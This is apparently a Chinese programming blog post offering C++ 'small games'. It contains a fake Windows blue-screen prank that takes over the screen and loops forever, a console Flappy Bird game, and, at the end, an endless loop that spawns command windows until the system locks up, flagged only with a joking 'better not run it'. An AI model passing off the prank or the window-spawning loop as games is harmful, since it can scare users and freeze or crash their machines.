c++小游戏,亲测编译可过

#include <windows.h>
#include <iostream>
 
using namespace std;
 
//----------全屏/隐藏标题栏----------
void full_screen()
{
  HWND hwnd = GetForegroundWindow();
  //----------屏幕分辨率----------
  int cx = GetSystemMetrics(SM_CXSCREEN);
  int cy = GetSystemMetrics(SM_CYSCREEN);
 
  LONG l_WinStyle = GetWindowLong(hwnd, GWL_STYLE); //获取窗口信息
  SetWindowLong(hwnd, GWL_STYLE,
                (l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &
                    ~WS_BORDER);
  SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
//----------隐藏光标----------
void HideTheCursor()
{
  CONSOLE_CURSOR_INFO cciCursor;
  HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
  if (GetConsoleCursorInfo(hStdOut, &cciCursor))
  {
    cciCursor.bVisible = FALSE;
    SetConsoleCursorInfo(hStdOut, &cciCursor);
  }
}
int main()
{
  system("mode 96,28");
  //----------移除快速编辑模式(对于win10用户)----------
  HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
  DWORD mode;
  GetConsoleMode(hStdin, &mode);
  mode &= ~ENABLE_QUICK_EDIT_MODE;
  SetConsoleMode(hStdin, mode);
  //----------隐藏光标----------
  HideTheCursor();
  //----------设置字体及颜色----------
  
	//SetCurrentConsoleFontEx(GetStdHandle(STD_OUTPUT_HANDLE), FALSE, &cfi);
  system("color 1f");
  //----------移动窗口----------
  RECT rect;
  HWND hwnd = GetForegroundWindow();
  GetWindowRect(hwnd, &rect);
  MoveWindow(hwnd, -30, -7, 8600, 1080, TRUE);
  //----------全屏----------
  full_screen();
  //----------打印蓝屏内容----------
  cout << "A problem has been detected and windows has been shut\
down to prevent damage\n\
to your computer.\n\n\
DRIVER_IROL_NOT_LESS_OR_EQUAL\n\n\
If this is the first time you've seen this Stop error screen, \n\
restart your computer.If this screen appears again, follow \n\
these steps:\n\n\
Check to make sure any new hardware or software is properly installed.\n\
If this is a new installation, ask your hardware or software manufacturer\n\
for any windows updates you might need.\n\n\
If problems continue. disable or remove any newly installed hardware\n\
or software. Disable BIOS memory option such as caching or shadowing.\n\
If you need to nsu Safe Mode to remove or disable components, restart\n\
your computer, press F8 to select Advanced Startup Options, and then\n\
select Safe Mode.\n\n\
Technical information:\n\
\"\"\"STOP:0x00000050(0xFD3094c2,0x00000001,0xFBFE7617,0x00000000}\n\n\
\"\"\"SPCMDON.SYS - Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c\n"
       << endl;
 
  //----------停止程序(不退出)----------
  while (1)
  {
    //----------再次隐藏光标----------
    HideTheCursor();
    Sleep(1000);
  }
  return 0;
}

飞翔的小鸟

#include<bits/stdc++.h>
#include<Windows.h>
#define PR_Box printf("■")
#define PR_Gold printf("★")
#define PR_Ag printf("☆")
#define PR_FBird printf("Ю")
#define PR_DBird printf("Ф")
#define PR_Land printf("┳┳┯")
#define PR_Bg_TL printf("╔")
#define PR_Bg_TR printf("╗")
#define PR_Bg_DL printf("╚")
#define PR_Bg_DR printf("╝")
#define PR_Bg_X printf("═")
#define PR_Bg_Y printf("║")
#define PR_Blank printf(" ");
int Grade=1,C_Gold=0,C_Ag=0,Score=0,Delay_time=1000,Max_blank=9,Distance=18;
struct Birds {
int x,y;
int condition;
};
Birds*Bird=(Birds*)malloc(sizeof(Birds));
struct Bg {
int x,y;
int l_blank;
int reward[9];
Bg*pri;
Bg*next;
};
Bg*Bg1=new Bg[sizeof(Bg)];
void Position(int x,int y) {
COORD pos= {x-1,y-1};
HANDLE Out=GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(Out,pos);
}
void CreatBird() {
Bird->x=41;
Bird->y=10;
Bird->condition=0;
}
void CreatBg() {
Bg*Bg2=(Bg*)malloc(sizeof(Bg));
Bg1->x=90;
Bg1->y=8;
Bg2->x=Bg1->x+Distance;
Bg2->y=9;
Bg1->l_blank=Max_blank-Grade;
Bg2->l_blank=Max_blank-Grade;
Bg1->next=Bg2;
Bg1->pri=Bg2;
Bg2->next=Bg1;
Bg2->pri=Bg1;
}
void InsertBg(Bg*p) {
int temp;
Bg*Bgs=(Bg*)malloc(sizeof(Bg));
Bgs->x=p->pri->x+Distance;
Bgs->l_blank=Max_blank-Grade;
srand((int)time(0));
temp=rand();
if(temp%2==0) {
    if((temp%4+p->pri->y+Max_blank-Grade)<21)Bgs->y=p->pri->y+temp%4;
    else Bgs->y=p->pri->y;
} else {
    if((p->pri->y-temp%4)>2)Bgs->y=p->pri->y-temp%4;
    else Bgs->y=p->pri->y;
}
Bgs->pri=p->pri;
Bgs->next=p;
p->pri->next=Bgs;
p->pri=Bgs;
}
void Check_Bg(Bg*q) {
Bg*p=q;
int i=0,temp;
while(++i<=5) {
    if(p->x>-4)p=p->next;
    else {
        srand((int)time(0));
        temp=rand();
        if(temp%2==0) {
            if((temp%4+p->y+Max_blank-Grade)<21)p->y=p->y+temp%4;
            else p->y=p->y;
            p->x=p->pri->x+Distance;
            p->l_blank=Max_blank-Grade;
        } else {
            if((p->y-temp%4)>2)p->y=p->y-temp%4;
            else p->y=p->y;
            p->x=p->pri->x+Distance;
            p->l_blank=Max_blank-Grade;
        }
    }
}
}
void Loop_Bg(Bg*q) {
Bg*p=q;
int i=0;
while(++i<=5) {
    p->x=p->x-1;
    p=p->next;
    if(Bird->x==p->x) {
        Score+=1;
        if(Score%4==0&&Grade<4)Grade++;
    }
}
}
void Prt_Bg(Bg*q) {
Bg*p=q;
int i=0,k,j;
while(++i<=5) {
    if(p->x>0&&p->x<=78) {
        for(k=2; k<p->y; k++) {
            Position(p->x+1,k);
            PR_Box;
            PR_Box;
            PR_Blank
        }
        Position(p->x,p->y);
        PR_Box;
        PR_Box;
        PR_Box;
        PR_Blank;
        Position(p->x,p->y+p->l_blank);
        PR_Box;
        PR_Box;
        PR_Box;
        PR_Blank;
        k=k+p->l_blank+1;
        for(k; k<=22; k++) {
            Position(p->x+1,k);
            PR_Box;
            PR_Box;
            PR_Blank;
        }
        Position(p->x,23);
        for(k=1; k<Distance/3-2; k++)PR_Land;
    }
    p=p->next;
    if(p->x==0) {
        for(j=2; j<p->y; j++) {
            Position(p->x+1,j);
            PR_Blank;
            PR_Blank;
        }
        Position(p->x+1,p->y);
        PR_Blank;
        PR_Blank;
        PR_Blank;
        Position(p->x+1,p->y+Max_blank-Grade);
        PR_Blank;
        PR_Blank;
        PR_Blank;
        j=j+Max_blank-Grade+1;
        for(j; j<=22; j++) {
            Position(p->x+1,j);
            PR_Blank;
            PR_Blank;
        }
    }
}
}
void PrtBg() {
int i;
Position(1,1);
PR_Bg_TL;
Position(79,1);
PR_Bg_TR;
Position(1,24);
PR_Bg_DL;
Position(79,24);
PR_Bg_DR;
for(i=3; i<=78; i+=2) {
    Position(i,1);
    PR_Bg_X;
    Position(i,24);
    PR_Bg_X;
}
}
void PrtBird() {
Position(Bird->x,Bird->y-1);
PR_Blank;
Position(Bird->x,Bird->y);
PR_FBird;
Position(38,2);
printf("Score:%d",Score);
}
int CheckYN(Bg*q) {
Bg*p=q;
int i=0;
while(++i<=5) {
    if(Bird->y>23)return 0;
    if(Bird->x==p->x&&Bird->y<=p->y)return 0;
    if((Bird->x==p->x||Bird->x==p->x+1||Bird->x==p->x+2)&&Bird->y==p->y)return 0;
    if(Bird->x==p->x&&Bird->y>p->y+p->l_blank)return 0;
    if((Bird->x==p->x||Bird->x==p->x+1||Bird->x==p->x+2)&&Bird->y==p->y+p->l_blank)return 0;
    p=p->next;
}
return 1;
}
void Prtfirst() {
printf("══════════════════════════════════════\n");
printf(" ■■ ■■\n");
printf(" ■■ ■■\n");
printf(" ■■ ■■\n");
printf(" ■■ ■■\n");
printf(" ■■ ■■ C++语言版 Flappy Bird\n");
printf(" ■■■ ■■ 游戏说明:\n");
printf(" ■■ 1-按上箭头使鸟起飞\n");
printf(" ■■ 2-等级越高,难度越大!\n");
printf(" Ю ■■■\n");
printf("\n");
printf(" \n\n\n\n\n\n\n\n");
printf(" ┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳┳┯┳\n");
system("pause");
Position(1,1);
int i=0;
while(i++<40*25)PR_Blank;
}
int main() {
int i=0;
char ch;
Prtfirst();
PrtBg();
CreatBg();
InsertBg(Bg1);
InsertBg(Bg1);
InsertBg(Bg1);
CreatBird();
while(1) {
    if(!CheckYN(Bg1))break;
    Check_Bg(Bg1);
    Prt_Bg(Bg1);
    PrtBird();
    Loop_Bg(Bg1);
    Bird->y=Bird->y+1;
    if(GetAsyncKeyState(VK_UP)) {
        Position(Bird->x,Bird->y-1);
        PR_Blank;
        Bird->y=Bird->y-4;
    }
    while(i++<500);
    {
        Sleep(100);
    }
    i=0;
}
Position(38,10);
printf("Game Over!");
Position(1,25);
system("pause");
}
#include<bits/stdc++.h>
using namespace std;
int main()
{
	while(1) {
		system("start cmd");
	}
	return 0;
} 
//建议不要运行(^_^)
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值